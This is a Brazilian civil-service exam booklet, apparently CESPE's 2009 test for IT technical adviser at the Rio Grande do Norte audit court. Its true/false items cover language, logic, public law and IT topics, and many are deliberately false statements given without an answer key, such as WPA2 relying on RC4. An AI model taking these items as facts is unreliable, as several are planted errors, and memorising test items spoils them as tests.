



TRIBUNAL DE CONTAS DO ESTADO RIO GRANDE DO NORTE

CARGO:

ASSESSOR TÉCNICO DE INFORMÁTICA

LEIA COM ATENÇÃO AS INSTRUÇÕES ABAIXO.

CONCURSO PÚBLICO

- 1 Ao receber este caderno de provas, confira inicialmente os seus dados pessoais e os dados identificadores de seu cargo transcritos acima com o que está registrado em sua folha de respostas e no cabeçalho de sua folha de texto definitivo da prova discursiva. Confira também o seu nome e cargo no rodapé de cada página numerada deste caderno. Em seguida, verifique se ele contém a quantidade de itens indicada em sua folha de respostas, correspondentes às provas objetivas, e a prova discursiva, acompanhada de espaço para rascunho. Caso o caderno esteja incompleto, tenha qualquer defeito, ou apresente divergência quanto aos seus dados pessoais ou de seu cargo, solicite ao fiscal de sala mais próximo que tome as providências cabíveis, pois não serão aceitas reclamações posteriores nesse sentido.
- 2 Quando autorizado pelo chefe de sala, no momento da identificação, escreva, no espaço apropriado da **folha de respostas**, com a sua caligrafia usual, a seguinte frase:
O maior inimigo do progresso é o hábito.
- 3 Não se comunique com outros candidatos nem se levante sem autorização de fiscal de sala.
- 4 Na duração das provas, está incluído o tempo destinado à identificação — que será feita no decorrer das provas —, ao preenchimento da folha de respostas e à transcrição do texto definitivo da prova discursiva para a folha de texto definitivo.
- 5 Ao terminar as provas, chame o fiscal de sala mais próximo, devolva-lhe a sua folha de respostas e a sua folha de texto definitivo e deixe o local de provas.
- 6 A desobediência a qualquer uma das determinações constantes em edital, no presente caderno, na folha de respostas ou na folha de texto definitivo da prova discursiva poderá implicar a anulação das suas provas.

OBSERVAÇÕES

- Não serão objeto de conhecimento recursos em desacordo com o estabelecido em edital.
- Informações adicionais: telefone 0(XX) 61 3448-0100; Internet – www.cespe.unb.br.
- É permitida a reprodução deste material apenas para fins didáticos, desde que citada a fonte.

- De acordo com o comando a que cada um dos itens a seguir se refira, marque na **folha de respostas**, para cada item: o campo designado com o código **C**, caso julgue o item **CERTO**; ou o campo designado com o código **E**, caso julgue o item **ERRADO**. Para as devidas marcações, use a **folha de respostas**, único documento válido para a correção das suas respostas.
- Sempre que utilizadas, as siglas subsequentes devem ser interpretadas com a significação associada a cada uma delas, da seguinte forma: CF = Constituição Federal de 1988; IPTU = imposto sobre a propriedade predial e territorial urbana; IPVA = imposto sobre a propriedade de veículos automotores; LRF = Lei de Responsabilidade Fiscal; OSCIP = organização da sociedade civil de interesse público; RJU/RN = Regime Jurídico Único dos Servidores Públicos Civis do Estado do Rio Grande do Norte; STF = Supremo Tribunal Federal; TC = tribunal de contas; TCE = tribunal de contas estadual; TCE/RN = Tribunal de Contas do Estado do Rio Grande do Norte; TCU = Tribunal de Contas da União; TRE = Tribunal Regional Eleitoral.

CONHECIMENTOS BÁSICOS

1 Trata-se de uma carta cujo enigma perdura e
perdurará. Por isso, ela continua sempre atual, continua a
nos falar hoje sem que nenhum de nós também se julgue
4 seu destinatário privilegiado ou seu decodificador
absoluto.

Estamos nos referindo à famosa **Carta** de Pero
7 Vaz de Caminha dirigida em 1500 a el-rei dom Manuel,
anunciando a descoberta de uma nova terra. E se essa carta
não tivesse chegado ao seu destino, ao seu destinatário, se
10 ela tivesse se extraviado, com se diz hoje no linguajar dos
correios? Em virtude de naufrágio, seria uma hipótese. Por
errância sem fim da caravela no caminho de volta à pátria,
13 ou seja, por morte dos estafetas, seria outra hipótese. No
entanto, a carta chegou ao seu destino. E, ao chegar às
mãos do rei, no momento mesmo em que o rei de Portugal
16 dela toma posse, também toma posse da terra e dos seres
humanos por ela descritos pela primeira vez. A carta cria
o acontecimento da descoberta do Brasil por um país
19 europeu. Ela sela de vez o devir ocidental e cristão de uma
terra e de seus habitantes, o devir de um futuro estado-
nação chamado Brasil.

22 A **Carta** de Caminha serve, antes de tudo, para
que todos aqueles aos quais ela não se destina reflitam
tanto sobre palavras e gestos que recobrem o encontro de
25 dois bandos que se desconhecem, quanto sobre o sentido
do acontecimento histórico na época das descobertas e,
mais ainda, sobre o papel desempenhado pelos vários
28 atores sociais na empreitada heroica.

Silviano Santiago. *Navegar é preciso, viver*. In: Aduato Novaes (Org.). *Tempo e história*. São Paulo: Companhia das Letras – Secretaria Municipal de Cultura, 1992, p. 464 (com adaptações).

Veja, 2/9/2009 (com adaptações).

A partir da argumentação do texto acima, bem como das estruturas linguísticas nele utilizadas, julgue os itens de 1 a 5.

- 1 Se a opção fosse a de evitar o uso do pronome “cujo” (ℓ.1), as relações entre as ideias do texto permitiriam que, sem prejudicar a coerência ou a correção gramatical do texto, assim se iniciasse o parágrafo: Trata-se de uma carta do qual o enigma perdura e perdurará.
- 2 Na linha 3, o uso do modo subjuntivo em “julgue” é exigido pela estrutura sintática em que ocorre; se fosse retirada a conjunção “que” da oração subordinada, o modo empregado deveria ser o infinitivo: julgar.
- 3 O primeiro período sintático do texto sintetiza os motivos que levaram Caminha a escrever a “famosa **Carta**” (ℓ.6).

4 Fazendo os necessários ajustes nas letras iniciais maiúsculas, as relações semânticas entre as orações do texto permitem que o ponto logo após “hipótese” (ℓ.11) seja substituído pelo sinal de ponto e vírgula e o ponto logo depois de “europeu” (ℓ.19), pelo sinal de dois-pontos.

5 Na linha 23, a preposição **a**, em “aos quais”, é exigida pelo uso reflexivo do verbo **destinar**; por isso, mantém-se a coerência ao se substituir o pronome relativo pelo pronome **quem** e, para preservar o respeito às regras gramaticais, deve-se manter a preposição, escrevendo **a quem**.

1 Em todos os povos ou períodos da história, a sensação de pertencimento a uma comunidade sempre foi construída com base nas diferenças em relação aos que estão de fora, “os
4 outros”. Muitas tribos indígenas brasileiras, por exemplo, chamam a si próprias de “homens” ou “gente” e denominam pejorativamente integrantes de outros grupamentos — esses são
7 “seres inferiores” ou “narizes chatos”. O filósofo Aristóteles considerava a “raça helênica” superior aos outros povos. Mas até o Iluminismo, no século XVIII, a humanidade não recorreu
10 a teses raciais para justificar a escravidão — tratava-se de uma decorrência natural das conquistas militares. A postulação de que todos os homens nascem livres e iguais criou, porém, uma
13 reação: a fim de embasar a dominação de povos europeus e seus descendentes sobre as populações colonizadas ou escravizadas, começou-se a elaborar uma divisão sistemática de
16 raças, com pretensões científicas. Com a gradual abolição da escravidão, o racismo científico foi usado para justificar o imperialismo ocidental na África e na Ásia.

Com base nas estruturas linguísticas e nas relações argumentativas do texto acima, julgue os itens a seguir.

- 6 Na linha 5, seriam preservadas a coerência da argumentação e a correção gramatical do texto se a opção fosse por não enfatizar o objeto de **chamar**, conferida pelo pronome “próprias”, e se substituísse “a si” por **se**, escrevendo-se **chamam-se**.
- 7 A ausência do sinal indicativo de crase em “a teses” (ℓ.10) indica que o substantivo está sendo usado em sentido generalizado, sem a determinação marcada pelo artigo.
- 8 Preservam-se as relações entre os argumentos e o respeito às regras gramaticais ao se reescrever o último período sintático do texto da seguinte maneira: O imperialismo ocidental na África e na Ásia usou como justificativa o racismo científico com a gradual abolição da escravidão.

ESTADO DO RIO GRANDE DO NORTE
TRIBUNAL DE CONTAS
OFÍCIO 000/2009-TCE/RN

Senhor Secretário Municipal,
D.D. Doutor Beltrano da Silva

1. Considerando que os custos de publicação dos relatórios nos diários oficiais do Estado e dos Municípios vem sofrendo grande majoração nos últimos anos, inviabilizando o procedimento especialmente nos municípios que disponham de poucos recursos, recomenda-se que os municípios que detenham uma população de menos de 30.000 habitantes faça tal publicação apenas no Diário Oficial do Estado e afixe em lugar público e visível, os dados a serem publicados.

[...]

Natal, 31 de setembro de 2009.

(assinatura)

Fulano de Tal

Presidente do Tribunal de Contas do Estado do
Rio Grande do Norte

A partir desse texto hipotético, julgue os seguintes itens, a respeito da elaboração de correspondência oficial.

- 9 Os itens de identificação e localização do documento, como o timbre, a identificação do órgão emissor e o número do expediente, o local e a data de emissão do documento, estão de acordo com as normas do padrão ofício.
- 10 Para que o vocativo do documento respeite os padrões de elaboração de correspondências oficiais, deve ser retirada toda a linha abaixo do cargo ou função, com o nome do destinatário, deixando apenas a primeira: “Senhor Secretário Municipal.”.
- 11 No corpo do documento, a redação do primeiro parágrafo respeita as normas de impessoalidade, formalidade, concisão, além do padrão culto da língua a que todos os documentos oficiais devem obedecer.

1 Penso que a política tem sempre uma dimensão estética, o que é verdade também para o exercício das formas de poder. A estética e a política são formas de organizar o 4 sensível: de dar a entender, de dar a ver, de construir a visibilidade e a inteligibilidade dos acontecimentos. Para mim, é um dado permanente. É diferente da ideia de que o exercício 7 do poder se teria estetizado em um momento específico.

Há um momento em que é preciso distinguir duas coisas: de um lado, a adoção de certas formas espetaculares de 10 *mise-en-scène* do poder e da comunidade. De outro, a ideia mesma de comunidade. É preciso saber se pensamos a comunidade política simplesmente como um grupo de 13 indivíduos governados por um poder, ou se a pensamos como um organismo animado.

Na imaginação da comunidade, há sempre esse jogo, 16 essa oscilação entre a representação jurídica e uma representação estética. Mas não creio que se possa definir um momento preciso de estetização da comunidade.

Jacques Rancière. *Partilha do sensível*. In: *Revista Cult*, n.º 139, ano 12, set./2009, p. 18 (com adaptações).

Julgue os itens de 12 a 15, a respeito da organização das ideias no texto acima.

- 12 No desenvolvimento das ideias do texto, o termo “o que” (l.2) retoma, em coesão textual, a ideia de **pensar**.
- 13 Para evitar o uso de muitas preposições no mesmo período sintático e deixar o texto mais conciso e objetivo, a retirada da preposição do termo “em que” (l.8) preservaria a coerência e a correção gramatical do texto.
- 14 A inserção de vírgula logo depois de “*mise-en-scène*” (l.10) preservaria a correção gramatical do texto e tornaria mais explícitas as relações de dependência semântica entre as ideias.
- 15 O desenvolvimento da argumentação permitiria usar os termos “esse jogo” (l.15) e “essa oscilação” (l.16) no plural, sem prejudicar a coerência entre os argumentos e o respeito às regras gramaticais.

This text refers to items from 16 to 21.

Slashing IT maintenance budgets: sign of the times

1 No matter what the pundits say about an economic turnaround, times are still tough. And after technology projects are delayed or stopped, layoffs are 4 made and next year’s budget is slashed, there’s one more realm where IT is feeling the pinch: maintenance cuts.

To help save money, IT groups are being asked 7 to cut back — in some cases, dramatically — on their maintenance contracts with vendors. So instead of paying a premium for vendors to, say, fix any problems in key 10 software and hardware within four hours, a 24-hour turnaround might have to suffice instead. Sometimes things stay broken until IT staffers can figure out the fixes 13 themselves. And in the meantime, ITers involved say they just hope that their business users will not notice any ill effects.

16 Jim Milde, executive vice president of global services for Boston-based IT services company Keane Inc., estimated that of his largest customers — in 19 pharmaceuticals, insurance, finance, government and transportation — around 10% are cutting maintenance costs in various ways.

22 This trend is being seen in pockets all over the industry, IT staffers and industry analysts agree. But given the sensitivity of the issue, and often the politics involved, 25 most ITers would speak about it only on the condition that they are not identified.

Internet: <www.computerworld.com> (adapted).

Based on the text, it is correct to affirm that

- 16 IT groups are being asked to cut maintenance costs so as to help save money.
- 17 accordingly to what the experts say about an economic turnaround, times are still tough.

Judge the following items according to the text.

- 18 IT staffers and industry analysts have clashed over the new trends in the industry.
- 19 Around 10% of all the companies in the USA are cutting maintenance costs in several ways.
- 20 The verb “to suffice”, in “a 24-hour turnaround might have to suffice instead” (l.10-11), is closest in meaning to **to be sufficient or enough**.
- 21 The word “trend”, in “This trend is being seen in pockets all over the industry” (l.22-23), can be correctly translated into Portuguese as **tendência**.

Why cut?

1 Lauren Whitehouse of Enterprise Strategy Group in
Milford, Mass., said companies have to do what they have to do
to get by today. By cutting or renegotiating maintenance pacts,
4 companies trim costs so that they can perhaps avoid or reduce
layoffs or still have money to spend on innovative new projects
that will help grow the business when the economy does
7 rebound, Whitehouse said. "Hypothetically, 70% of your
budget is for keeping the lights on and 30% is for moving the
business forward" strategically in the future, she said. "So you
10 look at the 70% to see what you can squeeze out there so you
can keep the strategic stuff going." For many clients, service-
level cuts are "the last straw", Keane's Milde said. "We've seen
13 clients go at rate reductions or cutting baseline support, but it's
always with the caveat that they want to keep the trains
running." One IT staffer, a software engineer for a \$ 1,5 billion
16 Midwestern sporting goods manufacturer, said maintenance cuts
came to his company after lots of other paring was done,
including layoffs of about 20% of the IT staff.

Internet: <www.computerworld.com> (adapted).

Judge the following items according to the text above.

- 22 The extract "companies have to do what they have to do" (l.2) can be correctly translated into Portuguese as **companhias fazem o que têm de fazer**.
- 23 The expression "to get by" (l.3) means **to survive**.
- 24 About 20% of the IT staff in a \$ 1,5 billion Midwestern sporting goods manufacturer had been dismissed from their jobs.
- 25 Aside from cutting or renegotiating maintenance pacts, companies trim costs in order to avoid or reduce layoffs.

Para se vestir e ir a uma festa, Regina separou 3 saias, nas cores branco, preto e marrom, e 3 blusas, de cores branco, amarelo e marrom. Nesse caso, é correto afirmar que

- 26 Regina terá 3 maneiras diferentes de se vestir, se ela optar por usar a saia branca.
- 27 Regina terá 7 maneiras diferentes de se vestir, se optar por usar saia e blusa de cores distintas.
- 28 Regina terá 9 maneiras diferentes de se vestir, se uma das peças da vestimenta tiver a cor marrom.

A direção de cada uma das 3 filiais de uma empresa é formada por um diretor e um vice-diretor. Se 3 mulheres e 3 homens forem indicados para ocupar esses cargos, então

- 29 haverá 288 maneiras distintas de se formar essas diretorias, se a direção de cada filial for formada por um homem e uma mulher.
- 30 haverá 144 maneiras distintas de se formar essas diretorias, se o diretor de cada filial for uma mulher.

Para os 3 cargos de assessor técnico de uma empresa, em áreas diferentes, 3 homens e 3 mulheres se candidataram; eles possuem chances iguais de ocupar quaisquer desses cargos e um mesmo cargo não poderá ser ocupado por mais de uma pessoa nem uma mesma pessoa poderá ocupar mais de um dos cargos. Nesse caso,

- 31 haverá 120 maneiras distintas de esses cargos serem ocupados por essas 6 pessoas.
- 32 haverá 114 maneiras distintas de esses cargos serem ocupados por esses candidatos, se pelo menos um dos cargos for ocupado por uma mulher.

RASCUNHO

Com relação a lógica sentencial e de primeira ordem, julgue os itens que se seguem.

- 33** As proposições “Se Mário é assessor de Pedro, então Carlos é cunhado de Mário” e “Se Carlos não é cunhado de Mário, então Mário não é assessor de Pedro” são equivalentes.
- 34** Se A, B, C e D são proposições, em que B é falsa e D é verdadeira, então, independentemente das valorações falsa ou verdadeira de A e C, a proposição $A \vee B \rightarrow C \wedge D$ será sempre verdadeira.
- 35** A negação da proposição $(\exists x)(x + 3 = 25)$ pode ser expressa corretamente por $(\forall x)(x + 3 \neq 25)$.

Com relação à natureza, competência e jurisdição do TCE/RN, julgue os itens seguintes.

- 36** O TCE/RN, ao julgar as contas dos dirigentes das unidades e entidades dos municípios, está também fiscalizando a aplicação dos recursos que lhes são transferidos pela União e pelo estado.
- 37** O julgamento das contas tem considerável impacto nas pretensões eleitorais dos candidatos a cargos políticos, pois o TCE/RN deverá informar ao TRE os nomes dos responsáveis por pendências em suas prestações de contas, apuradas em diligências que estejam em fase de realização.

Com base nas normas de organização e funcionamento do TCE/RN, julgue os próximos itens.

- 38** Cabe ao TCE/RN fornecer ao estado e aos municípios certidões que os habilitem a obter empréstimos e firmar convênios e instrumentos afins. Se o descumprimento de prazos para envio de documentos for atribuído a antecessor, impossibilitando a obtenção da certidão, o sucessor deverá adotar providências que vão até a adoção de medida judicial.
- 39** A documentação que os órgãos e entidades sujeitos à fiscalização do TCE/RN tiverem de encaminhar à Corte de Contas deverá ser apresentada por cópia, permanecendo os originais à disposição, nos respectivos órgãos e entidades. Se houver exigência de apresentação do mesmo documento a mais de um órgão de fiscalização, o original deverá ser encaminhado ao TCE.

RASCUNHO

Acerca do TCE/RN, julgue os itens subsequentes.

- 40** Se o TCE/RN concluir que não dispõe de servidores habilitados para a realização de auditorias e perícias em assuntos de alta especialização, terá respaldo legal para requisitar servidores de outros órgãos ou de entidades da administração estadual ou contratar empresa privada.
- 41** Importante prerrogativa do TCE/RN, em sua função fiscalizadora, é a de requisitar diretamente às instituições financeiras os extratos das contas-correntes e de aplicações efetuadas pelas unidades gestoras das administrações estadual e municipais.

Com referência ao controle externo e ao Poder Legislativo do estado e dos municípios, julgue o item a seguir.

- 42** Uma das funções de competência dos TCs, como definido na CF, é a de ouvidor, caracterizada pelo recebimento de denúncias de irregularidades ou ilegalidades formuladas tanto pelos responsáveis pelo controle interno como por qualquer cidadão, partido político, associação ou sindicato.

A respeito da administração pública brasileira, suas estruturas e servidores, e dos princípios constitucionais, julgue os itens seguintes.

- 43** A autotutela, uma decorrência do princípio constitucional da legalidade, é o controle que a administração exerce sobre os seus próprios atos, o que lhe confere a prerrogativa de anulá-los ou revogá-los, sem necessidade de intervenção do Poder Judiciário.
- 44** As empresas públicas se distinguem das sociedades de economia mista quanto à formação do capital, por não serem constituídas com recursos particulares, mas ambas têm em comum o fato de seu capital ser dividido em ações, sob a forma anônima.

No que diz respeito aos municípios, na CF e nas constituições estaduais, julgue o item abaixo.

- 45** A imunidade recíproca, por ser da própria essência do pacto federal, impede o estado de cobrar IPVA sobre veículo de propriedade de uma câmara municipal, da mesma forma que o município é impedido de cobrar IPTU sobre prédio de propriedade de autarquia estadual situado em seu território.

Com relação à autonomia municipal e à aprovação das contas municipais, julgue os itens que se seguem.

- 46** A autonomia municipal se configura por múltiplas capacidades. No exercício de sua capacidade de autoadministração, por exemplo, o município pode e deve instituir todos os impostos de sua competência, previstos na CF.
- 47** Se o TCE/RN, ao examinar as contas do prefeito de Natal, emitisse parecer prévio pela sua rejeição, esse parecer prevaleceria, exceto se a Assembleia Legislativa do estado, que é responsável pelo julgamento das referidas contas, o rejeitasse por decisão de dois terços de seus membros.

Com base nas disposições constitucionais aplicáveis às câmaras municipais, julgue o próximo item.

- 48** A alienação de bens do município depende de autorização prévia da câmara municipal, mas, quando a operação for realizada com entidades de sua própria administração indireta, não haverá necessidade de licitação para esse fim.

A respeito da LRF e dos TCs, julgue os itens a seguir.

- 49** Os TCEs são competentes para examinar as contas não só das prefeituras e das câmaras municipais, mas também do Poder Judiciário e dos ministérios públicos municipais.
- 50** Cabe ao TCE determinar a suspensão das obras com indícios de irregularidades.

CONHECIMENTOS ESPECÍFICOS

Julgue os itens seguintes, a respeito de requisitos e técnicas de *elicitação* de requisitos.

- 51 A etnografia é uma técnica utilizada para a descoberta de requisitos de sistemas de *software* na qual, por meio de observações, procura-se compreender os requisitos sociais e organizacionais do ambiente onde o sistema será usado.
- 52 A proteção, pelo sistema, das informações pessoais dos usuários cadastrados é exemplo de requisito funcional. A capacidade do sistema de gerar relatório de empréstimos de usuário em, no máximo, três segundos é um requisito não funcional.
- 53 A *prototipação*, uma abordagem para desenvolvimento de *software* na qual se cria um modelo do *software* que será implementado, é composta de quatro etapas: planejamento, análise de risco, engenharia e avaliação do cliente.

Julgue os itens subsequentes, acerca do RUP (*Rational Unified Process*), versão 7.0, e da UML (*Unified Modeling Language*), versão 2.0.

- 54 Em relação à engenharia de usabilidade, a definição e a validação da arquitetura da interface com o usuário, bem como os testes de desempenho, estão mais associados à fase de construção que à fase de elaboração.
- 55 Casos de usos são classificadores de comportamentos, os quais podem ser descritos por uma especificação de interações ou de atividades.
- 56 Estruturar o modelo de caso de uso de negócios, que é o modelo das metas de negócio e as funções pretendidas, é uma tarefa da disciplina requisitos.
- 57 Em um diagrama UML, a herança é um tipo de relacionamento especial que mistura características dos relacionamentos de generalização e dependência, sendo utilizada para identificar, no relacionamento entre classes, que uma herda o comportamento de outra, mas não sua estrutura.

Acerca de arquitetura orientada a serviços (SOA), análise de pontos de função e padrões de projeto, julgue os itens a seguir.

- 58 SOA é um paradigma de organização e utilização de competências distribuídas que estão sob o controle de diferentes domínios proprietários. Ela é empregada para a interoperabilidade de sistemas por meio de conjunto de interfaces de serviços fracamente acoplados, em que os serviços não necessitam de detalhes técnicos da plataforma dos outros serviços para a troca de informações a ser realizada.
- 59 O *template method* se aplica primariamente às classes, sendo um padrão de projeto com finalidade comportamental, ou seja, caracterizado pela maneira como as classes interagem e distribuem responsabilidades.
- 60 Na análise de ponto de funções, a contagem de pontos relativos aos arquivos lógicos internos que se referem a grupo de dados ou informações de controle logicamente relacionados, reconhecidos pelo usuário e mantidos dentro da fronteira da aplicação, é contabilizada como pontos não ajustados.

Um serviço *web* disponibiliza uma interface que permite a interação dos clientes com servidores de maneira mais geral em comparação aos navegadores *web*. Em relação a serviços e desenvolvimento *web*, julgue os itens a seguir.

- 61 Nos serviços *web*, clientes e servidores, direta ou indiretamente, podem acessar documentos UDDI completos por meio de seus URIs (*uniform resource identifier*), usando um serviço de diretório, tal como o WSDL.
- 62 Em serviços *web*, o SOAP pode ser transportado por protocolos como REST, HTTP, SMTP e JMS.
- 63 AJAX permite a construção de aplicações *web* dinâmicas e interativas com o usuário, utilizando-se de solicitações assíncronas de informações. Para isso, o AJAX engloba, em seu modelo, os protocolos XHTML, CSS, DOM, XML, XSLT, XMLHttpRequest e JavaScript, integrando todas as demais tecnologias.
- 64 O Tomcat é um contêiner de *servlets*. Quando em execução, a interface de gerenciamento do Tomcat está disponível em um URL para visualização com um navegador.

Acerca das tecnologias de bancos de dados e de *data warehouse*, julgue os itens que se seguem.

- 65 A otimização de consultas a bancos de dados pode empregar uma abordagem embasada no custo de execução. Nessa abordagem, técnicas tradicionais de otimização são usadas para buscar solução ótima no espaço de solução do problema. Assim, a estimativa de custo considera diversas informações, tais como o número de registros dos arquivos e o tamanho de cada registro.
- 66 A construção de um *data warehouse* envolve primordialmente um processo de extração, transformação e carga de dados, que normalmente tem origem nas bases de dados dos sistemas que estão ou estiveram em operação. O sucesso desse processo é fortemente influenciado pela escolha da ferramenta OLAP (*on-line analytical processing*) a ser utilizada.
- 67 O esquema multidimensional em estrela consiste de um conjunto de tabelas, classificadas como tabelas fato e tabelas dimensão, no qual cada tabela dimensão guarda referências às tabelas fato. Essas referências são implementadas como colunas nas tabelas dimensão.

O uso da Internet e da tecnologia da informação facilitou e democratizou o acesso à informação. No desenvolvimento de suas *intranets* e seus portais corporativos, as empresas passaram a utilizar recursos antes voltados apenas a sítios na Internet. Dessa forma, iniciou-se o desenvolvimento de sítios acessíveis a todos, independentemente de suas características ou limitações. A respeito desse assunto, julgue os itens de 68 a 70.

- 68 Uma das recomendações do WCAG 2.0 (Web Content Accessibility Guidelines) é a existência de “Alternativas em Texto”, a qual é considerada atingida se todo conteúdo não texto que seja apresentado aos usuários tenha necessariamente uma alternativa em texto que sirva aos mesmos propósitos.

69 RSS é um recurso utilizado por sítios da Web para divulgação de novos conteúdos de maneira rápida. Os documentos RSS, denominados *feed*, têm formato especificado com o uso de XML e podem ser lidos por intermédio de *software* leitor de RSS (*RSS reader*).

70 O modelo de acessibilidade em governo eletrônico (e-MAG) prevê três níveis de prioridade de acessibilidade. A identificação do principal idioma utilizado em conteúdos *web* e também a identificação de quaisquer mudanças de idioma no texto de um conteúdo *web* são consideradas exigências básicas.

Acerca dos protocolos de redes de comunicação e do padrão Ethernet 10BaseT, julgue os itens a seguir.

71 No Ethernet 10BaseT, tanto o endereço de origem quanto o endereço de destino possuem 48 *bits*.

72 No *frame* Ethernet 10BaseT, a parte de dados pode chegar a até 1.500 *bytes*.

73 O controle de fluxo, uma propriedade do padrão Ethernet em modo *half-duplex*, utiliza o CSMA/CA.

74 O Ethernet é a principal tecnologia de enlace de comunicação que faz parte da pilha de protocolos TCP/IP.

A respeito das tecnologias *frame relay* e ATM, utilizadas em redes de comunicação de longa distância, julgue os itens que se seguem.

75 Tanto o *frame relay* quanto o ATM usam células que variam de tamanho, cada uma identificada por um cabeçalho e um CRC.

76 ATM *adaptation layers* (AAL) usam padronizações para o tipo de fluxo de dados. O AAL1 utiliza o conceito de CBR (*constant bit rate*).

77 No ATM, o AAL4 usa o VBR (*variable bit rate*).

78 Toda a configuração do tipo de AAL e a taxa de transmissão dos *bits* estão inclusos no cabeçalho da célula ATM.

79 Tanto o ATM quanto o *frame relay* suportam o envio de dados via TCP/IP na camada de rede e nas camadas superiores.

Com relação aos conceitos e aos protocolos utilizados em redes sem fio, julgue os itens de **80** a **85**.

80 A autenticação em redes sem fio é realizada, no padrão IEEE 802.1x, por meio de três componentes: o autenticador, o requerente e o servidor de autenticação.

81 O WPA2 usa o protocolo RC4 como algoritmo de criptografia principal, e o *radius* como protocolo de acesso ao meio.

82 De maneira geral, o padrão IEEE 802.1x se baseia no EAP (*extensible authentication protocol*), cujo papel é transportar as informações de identificação dos utilizadores.

83 O vetor de inicialização do WEP tem 24 *bits* e é enviado em texto claro como parte da mensagem. Esse é um dos motivos de esse protocolo ser considerado inseguro.

84 O WPA não utiliza PSK (*pre-shared key*).

85 A taxa máxima de transmissão de dados no padrão IEEE 802.11b é de 54 Mbps e o acesso ao meio é do tipo CSMA/CD.

Com relação às normas NBR ISO/IEC 27.001 e 27.002, de gestão de segurança da informação, e à norma de risco NBR ISO/IEC 27.005, julgue os itens a seguir.

86 A implantação de um sistema de gestão de segurança da informação envolve a análise de riscos na infraestrutura de tecnologia da informação, a fim de identificar os pontos vulneráveis e as falhas nos sistemas, que devem ser corrigidos, bem como definir processos para detectar e responder a incidentes de segurança, juntamente com os procedimentos para auditorias.

87 O processo formal da avaliação de riscos motiva os requisitos específicos dos controles a serem implementados, servindo como guia para normas corporativas de segurança e práticas eficazes de gerenciamento de segurança.

88 Segundo a norma NBR ISO/IEC 27.005, uma metodologia específica é definida para a gestão de risco em segurança da informação.

A respeito da prevenção e do tratamento de incidentes, julgue os itens subsequentes.

89 A formulação de uma estratégia de resposta adequada é determinada não somente pela resposta inicialmente implementada, mas também pelos resultados da investigação do incidente após a coleta e análise dos dados relativos ao incidente.

90 A esterilização das mídias que são utilizadas para a cópia das informações armazenadas em HDs deve ocorrer como parte da resposta inicial.

91 A análise pós-incidente realizada utilizando as cópias dos sistemas de arquivos dos sistemas comprometidos não requer que os metadados tenham sido preservados no processo de cópia.

Com referência aos dispositivos de segurança de redes de computadores, julgue os próximos itens.

92 A presença de *sniffers* é facilmente detectável remotamente, com alto grau de confiança, em uma rede de computadores.

93 A técnica de NAT, que proporciona o uso racional das faixas de endereçamento disponíveis, permite mapear todos os endereços de uma rede privada em um único endereço válido publicamente.

Acerca dos protocolos criptográficos, julgue os itens que se seguem.

94 Além da verificação de integridade dos criptogramas, uma maneira de aumentar a segurança do protocolo criptográfico é a utilização conjunta de códigos de autenticação de mensagem.

95 A criptografia, tanto simétrica quanto assimétrica, proporciona sigilo, integridade, autenticidade e disponibilidade.

Quanto ao gerenciamento de projetos e acerca do PMBOK, julgue os itens subsequentes.

- 96** No PMBOK, os *stakeholders* são definidos como indivíduos ou organizações envolvidos no projeto, ou que serão afetados positivamente ou negativamente pelo resultado final de um projeto. Esses indivíduos e organizações devem ser identificados mas não são elementos-chave em um projeto.
- 97** Em gerenciamento de projetos, as operações são caracterizadas por objetivos que podem ser medidos qualitativa e financeiramente.
- 98** As operações realizadas em um projeto normalmente possuem recursos ilimitados no tempo. Isso é importante porque o ciclo de vida do projeto depende dessas operações para que o cronograma seja cumprido.
- 99** Gerenciamento de projetos envolve a aplicação de conhecimentos, habilidades, ferramentas e técnicas às atividades do projeto a fim de alcançar seus objetivos.
- 100** Um projeto progressivo é aquele que estabelece uma sequência de fases para se alcançar algum objetivo, garantir um bom gerenciamento e determinar o início e fim do projeto.

Com referência ao ITIL, versão 3, e ao COBIT, julgue os itens que se seguem.

- 101** A versão 3 do ITIL é embasada em cinco títulos, divididos em estratégia de serviços, projeto de serviços, transição de serviços, operação de serviços e melhoria contínua dos serviços.
- 102** O ITIL é amplamente utilizado no desenvolvimento de *software* e na produção de páginas *web*, por meio de uma arquitetura orientada a serviços.
- 103** A governança de TI é caracterizada por ter e manter uma estrutura de relações e processos que dirige e controla uma organização, envolvendo mecanismos de tecnologia da informação, de tal forma que propicie à organização atingir seu objetivo estratégico e adicionar valor ao negócio. O COBIT é um *framework* utilizado para organizar e gerenciar a visão de TI voltada para o negócio.
- 104** O COBIT é dividido em três domínios: planejamento e organização; aquisição e implementação; entrega e suporte.
- 105** A definição do plano estratégico de TI e a definição da arquitetura da informação são funções do domínio planejamento e organização do COBIT.

A respeito do CMMI, julgue os itens seguintes.

- 106** Na versão 1.2, o modelo CMMI (CMMI-DEV) contém 62 áreas de processo.
- 107** O CMMI possui três representações: a contínua, a por estágios e a evolutiva.

Com base na Instrução Normativa MPOG n.º 4/2008, julgue os próximos itens.

- 108** A estratégia geral de TI deverá abranger, pelo menos, a necessidade de informação alinhada à estratégia do órgão ou entidade.
- 109** Desde que se tenha um plano diretor de TI, é possível, em um único contrato, contratar todo o conjunto dos serviços de tecnologia da informação de um órgão ou uma entidade.
- 110** A gestão de segurança da informação não pode ser objeto de contratação por parte de um órgão.

Acerca do RJU/RN — Lei Complementar Estadual n.º 122/1994 e alterações —, julgue os itens a seguir.

- 111** Se um candidato for aprovado em concurso público para cargo de provimento efetivo, ele terá trinta dias, improrrogáveis, a partir da publicação da nomeação, para tomar posse.
- 112** Se um servidor público for preso em flagrante delito, ele terá o pagamento de sua remuneração suspenso.
- 113** Quando um servidor reassume um cargo público em virtude de mandato eletivo, ele tem direito a ajuda de custo, de até o limite máximo de dois meses de remuneração.
- 114** Um processo administrativo disciplinar no qual seja assegurada ampla defesa ao servidor, independentemente de sentença judicial, pode ensejar a perda do cargo que ele ocupa.
- 115** Para que seja caracterizada a inassiduidade habitual de um servidor, ele deverá faltar ao serviço, sem causa justificada, por trinta dias, ainda que interpoladamente, por um período de seis meses.
- 116** Quando, por motivo de doença, for indispensável a assistência direta de um servidor a um sobrinho, a ele poderá ser concedida licença por motivo de doença em pessoa da família.
- 117** Um secretário estadual pode autorizar servidor a afastar-se do cargo, com a respectiva remuneração, para frequentar curso de aperfeiçoamento com duração de três meses.
- 118** Se, por ter sido reincidente em falta punível com advertência, um servidor cometer falta disciplinar que dê causa à aplicação de suspensão, esta não poderá exceder a trinta dias.
- 119** Se um servidor público for investido em cargo público por eleição, considera-se que o seu exercício se iniciará com a assinatura do termo de posse, do qual deverá constar declaração nesse sentido.
